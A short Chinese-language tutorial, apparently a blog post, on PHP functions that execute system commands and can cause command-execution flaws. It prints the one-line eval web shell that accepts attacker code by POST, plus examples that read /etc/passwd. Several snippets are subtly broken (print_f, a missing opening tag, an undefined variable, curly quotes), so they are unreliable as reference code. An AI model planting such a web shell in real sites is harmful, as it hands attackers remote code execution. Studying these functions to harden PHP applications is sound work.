php危险函数
php危险函数可以执行linux系统命令,如果没有禁用相关函数,也没有对函数使用的参数进行严格有效的过滤,可能产生命令执行漏洞。
1.eval()函数
eval() 函数把字符串按照 PHP 代码来执行。最简单的一句话木马可以由eval()函数实现。<?php @eval($_POST[‘abc’]);?>
通过POST方式提交恶意代码。类似函数assert()。
2.php 执行 linux 命令个函数
(1)exec() 允许执行一个外部程序。exec()函数用于执行一个外部程序,语法为:【exec(string $command[,array &$output[,int &$return_var ]]);】。
<?php
$command=”id”;
exec($command,$array);
print_f($array);
?>
将执行系统命令id并显示出来
(2)system() 允许执行一个外部程序并回显输出,类似于 passthru(
$v = system(‘netstat -tnlp’,$shell_return);
var_dump($shell_return);
var_dump($v);
?>
(3)passthru() 允许执行一个外部程序并回显输出,类似于 exec()。
<?php
$command=”id”;
passthru($command);
?>
(4)popen() 可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。
<?php
$test = “pwd”;
$fp = popen($test,”r”); //popen 打一个进程通道
while (!feof($fp)) { //从通道里面取得东西
$out = fgets($fp, 4096);
echo $out; //打印出来
}
pclose($fp);
?>
(5)proc_open() 执行一个命令并打开文件指针用于读取以及写入。
<?php
$command = “pwd”;
$array = array(
array(“pipe”,”r”), //标准输入
array(“pipe”,”w”), //标准输出内容
array(“pipe”,”w”) //标准输出错误
);
$fp = proc_open($test,$array,$pipes); //打开一个进程通道
echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为 1 是输出内容
proc_close($fp);
?>
(6)shell_exec() 通过 Shell 执行命令,并将执行结果作为字符串返回。
<?php
$test = “cat /etc/passwd”;
$out = shell_exec($test);
echo $out;
?>